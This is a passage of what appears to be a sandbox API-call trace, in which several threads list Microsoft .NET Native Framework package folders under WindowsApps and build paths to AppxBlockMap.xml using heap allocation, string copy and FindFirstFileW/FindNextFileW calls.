	[0079.374] wcscat (in: _Dest=0x47cab00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\"
	[0079.374] wcscat (in: _Dest=0x47cab00, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*"
	[0079.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbfac8
	[0079.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb21852be, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae4c23b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69869570, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad1b8
	[0079.378] wcscmp (_String1=".", _String2=".") returned 0
	[0079.378] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb21852be, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae4c23b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69869570, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.378] wcscmp (_String1="..", _String2=".") returned 1
	[0079.378] wcscmp (_String1="..", _String2="..") returned 0
	[0079.378] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21852be, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb21852be, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb21852be, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2471, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.378] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.378] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4767890
	[0079.378] wcscpy (in: _Dest=0x4767890, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe"
	[0079.378] wcscat (in: _Dest=0x4767890, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\"
	[0079.378] wcscat (in: _Dest=0x4767890, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 754
	os_tid = 0x1af4

	[0079.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47cabd0
	[0079.378] wcscpy (in: _Dest=0x47cabd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe"
	[0079.378] wcscat (in: _Dest=0x47cabd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\"
	[0079.378] wcscat (in: _Dest=0x47cabd0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*"
	[0079.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbfd30
	[0079.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb23e79d9, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae58079f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69b6448c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad1f8
	[0079.380] wcscmp (_String1=".", _String2=".") returned 0
	[0079.380] FindNextFileW (in: hFindFile=0x2dad1f8, lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb23e79d9, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae58079f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69b6448c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.380] wcscmp (_String1="..", _String2=".") returned 1
	[0079.380] wcscmp (_String1="..", _String2="..") returned 0
	[0079.380] FindNextFileW (in: hFindFile=0x2dad1f8, lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb23e79d9, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb23e79d9, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb240dc54, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1e2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.381] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.381] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4767a60
	[0079.381] wcscpy (in: _Dest=0x4767a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe"
	[0079.381] wcscat (in: _Dest=0x4767a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\"
	[0079.381] wcscat (in: _Dest=0x4767a60, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 755
	os_tid = 0x1af8

	[0079.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47caca0
	[0079.380] wcscpy (in: _Dest=0x47caca0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe"
	[0079.380] wcscat (in: _Dest=0x47caca0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\"
	[0079.380] wcscat (in: _Dest=0x47caca0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\*"
	[0079.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0468
	[0079.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f97eba2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae61172a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c39f778, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad238
	[0079.382] wcscmp (_String1=".", _String2=".") returned 0
	[0079.382] FindNextFileW (in: hFindFile=0x2dad238, lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f97eba2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae61172a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c39f778, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.383] wcscmp (_String1="..", _String2=".") returned 1
	[0079.383] wcscmp (_String1="..", _String2="..") returned 0
	[0079.383] FindNextFileW (in: hFindFile=0x2dad238, lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f97eba2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4f97eba2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4f97eba2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2470, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.383] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.383] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4767b48
	[0079.383] wcscpy (in: _Dest=0x4767b48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe"
	[0079.383] wcscat (in: _Dest=0x4767b48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\"
	[0079.383] wcscat (in: _Dest=0x4767b48, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 756
	os_tid = 0x1afc

	[0079.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47cad70
	[0079.383] wcscpy (in: _Dest=0x47cad70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe"
	[0079.383] wcscat (in: _Dest=0x47cad70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\"
	[0079.383] wcscat (in: _Dest=0x47cad70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\*"
	[0079.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc06d0
	[0079.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fbe1144, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae652687, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5be1c081, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad278
	[0079.385] wcscmp (_String1=".", _String2=".") returned 0
	[0079.385] FindNextFileW (in: hFindFile=0x2dad278, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fbe1144, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae652687, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5be1c081, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.385] wcscmp (_String1="..", _String2=".") returned 1
	[0079.385] wcscmp (_String1="..", _String2="..") returned 0
	[0079.385] FindNextFileW (in: hFindFile=0x2dad278, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbe1144, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4fbe1144, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4fbe1144, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.385] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.385] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4767c30
	[0079.385] wcscpy (in: _Dest=0x4767c30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe"
	[0079.385] wcscat (in: _Dest=0x4767c30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\"
	[0079.385] wcscat (in: _Dest=0x4767c30, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 757
	os_tid = 0x1b00

	[0079.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47c9440
	[0079.385] wcscpy (in: _Dest=0x47c9440, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe"
	[0079.386] wcscat (in: _Dest=0x47c9440, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\"
	[0079.386] wcscat (in: _Dest=0x47c9440, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\*"
	[0079.386] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0938
	[0079.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x569db5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb046ec20, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb046ec20, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad2b8
	[0079.388] wcscmp (_String1=".", _String2=".") returned 0
	[0079.388] FindNextFileW (in: hFindFile=0x2dad2b8, lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x569db5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb046ec20, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb046ec20, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.388] wcscmp (_String1="..", _String2=".") returned 1
	[0079.388] wcscmp (_String1="..", _String2="..") returned 0
	[0079.388] FindNextFileW (in: hFindFile=0x2dad2b8, lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59000e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x59000e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x59000e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2470, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.388] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.388] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4767d18
	[0079.388] wcscpy (in: _Dest=0x4767d18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe"
	[0079.388] wcscat (in: _Dest=0x4767d18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\"
	[0079.388] wcscat (in: _Dest=0x4767d18, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 758
	os_tid = 0x1b04

	[0079.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47c9d30
	[0079.388] wcscpy (in: _Dest=0x47c9d30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe"
	[0079.388] wcscat (in: _Dest=0x47c9d30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\"
	[0079.388] wcscat (in: _Dest=0x47c9d30, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\*"
	[0079.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0e08
	[0079.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf855c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf7c444d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xaf7c444d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad2f8
	[0079.390] wcscmp (_String1=".", _String2=".") returned 0
	[0079.390] FindNextFileW (in: hFindFile=0x2dad2f8, lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf855c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf7c444d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xaf7c444d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.390] wcscmp (_String1="..", _String2=".") returned 1
	[0079.390] wcscmp (_String1="..", _String2="..") returned 0
	[0079.390] FindNextFileW (in: hFindFile=0x2dad2f8, lpFindFileData=0x2dc0e08 | out: lpFindFileData=0x2dc0e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e7b5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc44a0e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc44a0e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1d9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.390] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.390] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4767e00
	[0079.390] wcscpy (in: _Dest=0x4767e00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe"
	[0079.390] wcscat (in: _Dest=0x4767e00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\"
